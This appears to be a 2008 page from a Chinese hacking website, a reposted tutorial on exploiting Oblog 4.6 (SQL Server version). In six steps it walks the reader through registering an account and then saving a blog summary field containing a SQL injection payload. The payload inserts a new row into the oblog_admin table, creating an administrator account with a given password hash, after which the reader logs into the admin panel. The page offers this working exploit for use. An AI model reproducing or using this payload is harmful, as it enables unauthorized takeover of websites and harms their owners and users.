首 页文章中心黑客工具黑吧学院技术论坛安全培训免费频道最近更新瑞星在线杀毒黑吧百度繁體中文
  设为首页
加入收藏
发布作品
   
栏目导航
· 漏洞利用 · 脚本注入
· 入侵实例 · 编程代码
· 逆向工程
热门文章
· 如何封别人QQ
· 充QQ币的疯狂——宽...
· 免费得QB
· 400秒远程攻破你的Q...
· [图文] QQ免费建400个群
· [组图] 给你一台永远不关机...
· [注意] QQ宠物砸蛋秘诀
· 再次有机会免费获得...
· 想的挂QQvip的进
· 在QQ中将自己从对方...
相关文章
· Oblog最新注入漏洞分...
· Oblog最新注入漏洞分...
· Oblog4后台拿WEBSHE...
· 一句话让OBLOG将用户...
· Oblog漏洞重现,没补...
· 真的补了吗 Oblog漏...
· OBlog (tags.asp) R...
· oblog文件下载漏洞
· 最新Oblog4.6注入漏...
· 最新Oblog4.6注入漏...
oblog4.6添加后台管理员漏洞(仅适用于sql版)
作者:佚名  来源:转载  发布时间:2008-9-12 0:30:22  发布人:黑客动画吧

减小字体 增大字体

1、注册一个用户,用户名script,密码123456
2、发布一篇日志,日志标题:测试一下
3、个人前台首页找到日志"测试一下",点"推荐"
4、个人后台管理,选择"常用"选项中的"推荐日志",然后点"测试一下"日志后面的修改,把摘要内容修改成:s'/**/WHERE/** /logid=1;insert/**/into/**/oblog_admin/**/(username,password,roleid)values('script','49ba59abbe56e057',0);--
5、最后点"确认提交"按钮,如果提示修改成功,注入完成!
6、登录后台,地址/admin/admin_login.asp,输入上面的用户名和密码,登录后台成功!

转载请著明来源于0x54.com
[ ] [返回上一页] [打 印] [收 藏]
下一篇文章:MSSQL 2005 Backup log shell
 
关于本站 - 网站帮助 - 广告合作 - 下载声明 - 网站导航 - 作品发布
互联网备案登记:粤ICP备05008775号
友情提示:浏览本站,请使用IE6.0浏览,并将分辩率设置为1024*768 为佳
Copyright © 2002-2005 Hack58.Com. All Rights Reserved .